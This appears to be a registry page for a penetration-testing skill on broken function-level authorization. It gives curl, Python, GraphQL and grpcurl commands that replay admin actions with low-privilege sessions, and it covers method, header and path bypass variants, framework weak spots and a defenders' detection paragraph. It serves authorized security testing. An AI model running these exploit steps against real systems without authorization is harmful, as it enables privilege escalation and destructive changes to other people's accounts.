Broken Function Level Authorization (BFLA) — exploit action-level access control failures where lower-privileged principals invoke admin/staff functions across REST, GraphQL, gRPC, WebSocket, and background job paths.
71
87%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
High
Do not use without reviewing
BFLA is an action-level access control failure: a lower-privileged principal successfully invokes a function (HTTP endpoint, GraphQL mutation, gRPC method, WebSocket event, background job action) that should be restricted to a higher-privileged role. It is distinct from IDOR (T1190 object-level) — the surface here is the action itself, not the object ID. Enforcement must bind actor to action at every transport layer and every service boundary, not just at the UI or API gateway.
Authorized use only. Only test systems you are explicitly authorized to assess. Privilege escalation in production without authorization is a crime in most jurisdictions.
Before fuzzing, enumerate the roles and their expected actions:
# Capture all endpoints from JS bundles, API spec, and crawl
# Extract role-specific API paths from the frontend
curl -s https://<TARGET>/static/main.js | grep -oE '"/api/[^"]*"' | sort -u
curl -s https://<TARGET>/openapi.json 2>/dev/null | python3 -c "
import sys,json
spec = json.load(sys.stdin)
for path,methods in spec.get('paths',{}).items():
for method,info in methods.items():
tags = info.get('tags',[]) + info.get('x-roles',[]) + info.get('security',[])
print(method.upper(), path, tags)
" 2>/dev/nullFor each discovered endpoint, note: HTTP method, expected minimum role, whether it appears in the UI for non-admin users.
# Register/obtain sessions for: unauthenticated, basic user, premium, staff, admin
# Store cookies/tokens for each role
curl -s -c unauthenticated.jar https://<TARGET>/api/me
curl -s -c basic.jar -X POST https://<TARGET>/login -d 'user=basic&pass=<pass>'
curl -s -c admin.jar -X POST https://<TARGET>/login -d 'user=admin&pass=<pass>'Confirm each target action succeeds with the highest-privilege token first. This rules out the action being broken for everyone.
# Example: create a user as admin
curl -s -b admin.jar -X POST https://<TARGET>/api/admin/users \
-H 'Content-Type: application/json' \
-d '{"username":"testuser","role":"admin"}' | tee bfla_admin_baseline.txtReplay the identical request with the basic-user or unauthenticated token. Same path, same method, same body.
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \
-H 'Content-Type: application/json' \
-d '{"username":"testuser2","role":"admin"}' | tee bfla_basic_replay.txt
# Diff: admin got 201 Created, basic should get 403
diff bfla_admin_baseline.txt bfla_basic_replay.txtWin condition: basic-user request returns 200/201/204 (or produces a durable state change verified by subsequent GET) when the admin baseline returned 201.
Many frameworks register route handlers per-method independently. An admin-only POST may have an unguarded PUT/PATCH/DELETE.
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo -n "$method: "
curl -s -o /dev/null -w "%{http_code}" -b basic.jar \
-X "$method" https://<TARGET>/api/admin/users/1 \
-H 'Content-Type: application/json' \
-d '{"role":"admin"}'
echo
doneLook for: method returning 200/204 where others return 403. Also try X-HTTP-Method-Override: DELETE on a POST request.
# JSON vs form-encoded (different middleware chains in some frameworks)
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/promote \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'user_id=2&role=admin'
# Try path with/without trailing slash (different route matches in some routers)
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users/# Attempt admin mutation with a basic-user token
curl -s -b basic.jar -X POST https://<TARGET>/graphql \
-H 'Content-Type: application/json' \
-d '{
"query": "mutation { updateUser(id: 2, role: ADMIN) { id role } }"
}' | tee bfla_graphql.txt
# Use aliases to batch privileged mutations and observe which succeed
curl -s -b basic.jar -X POST https://<TARGET>/graphql \
-H 'Content-Type: application/json' \
-d '{
"query": "mutation { a: deleteUser(id: 3) { id } b: promoteUser(id: 2, role: ADMIN) { id role } }"
}'Job-create endpoints are often allowed for all users; finalize/approve are not guarded independently:
# Create job as basic user (allowed)
JOB_ID=$(curl -s -b basic.jar -X POST https://<TARGET>/api/export \
-H 'Content-Type: application/json' \
-d '{"type":"all_users"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['job_id'])")
# Finalize/approve job as basic user (should be 403)
curl -s -b basic.jar -X POST https://<TARGET>/api/export/$JOB_ID/approve \
| tee bfla_job_approve.txtSome backends trust identity headers injected by a gateway/proxy. Supply conflicting headers:
curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \
-H 'X-User-Role: admin' \
-H 'X-Forwarded-User: admin' \
-H 'X-Auth-Role: staff' \
-H 'Content-Type: application/json' \
-d '{"username":"pwned","role":"admin"}'A confirmed BFLA finding requires:
import requests
TARGET = "https://<TARGET>"
BASIC = {"session": "<basic_session_cookie>"}
ADMIN = {"session": "<admin_session_cookie>"}
# Baseline: admin can promote
r_admin = requests.post(f"{TARGET}/api/admin/users", cookies=ADMIN,
json={"username": "probe", "role": "admin"}, timeout=5)
assert r_admin.status_code in (200, 201), f"Admin baseline failed: {r_admin.status_code}"
# BFLA: basic can too?
r_basic = requests.post(f"{TARGET}/api/admin/users", cookies=BASIC,
json={"username": "bfla_probe", "role": "admin"}, timeout=5)
print(f"BFLA result: {r_basic.status_code} {r_basic.text[:200]}")
# Confirm durable state
me = requests.get(f"{TARGET}/api/users/bfla_probe", cookies=BASIC, timeout=5).json()
print(f"Role in DB: {me.get('role')}") # should be 'admin' if BFLA succeeded# List methods via server reflection
grpc_cli ls <TARGET>:443 --l # requires grpc_cli
# Call admin method with basic-user token
grpcurl -H "Authorization: Bearer <basic_token>" \
-d '{"user_id": 2, "role": "ADMIN"}' \
<TARGET>:443 com.example.AdminService/PromoteUser| Framework | Pattern | Gap |
|---|---|---|
| Express/Node | router.post('/admin', adminMiddleware) missing on router.put | Method alternation bypass |
| Django DRF | permission_classes = [IsAdmin] set at ViewSet but missing on action-level @action | Custom action without permission decorator |
| Spring Security | antMatchers("/admin/**").hasRole("ADMIN") but /admin (no slash) not matched | Trailing-slash bypass |
| FastAPI | Dependency injection on route but not on background task handler | Background task runs with no caller |
| GraphQL (generic) | Top-level query auth but resolver-level checks absent | Nested mutation bypass |
Defenders should look for: a non-admin session token successfully invoking /admin/ or /staff/ paths (log the 200 response code alongside the token's role claim), unexpected role changes in audit logs, and GraphQL mutations from non-staff tokens that modify privileged fields.
./
├── bfla_admin_baseline.txt # Proof admin action succeeds
├── bfla_basic_replay.txt # Proof basic-user bypass succeeds
├── bfla_<endpoint>_evidence.txt # Durable state-change proof (GET after write)
└── bfla_summary.md # Matrix of tested actions, methods, transports, resultse34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.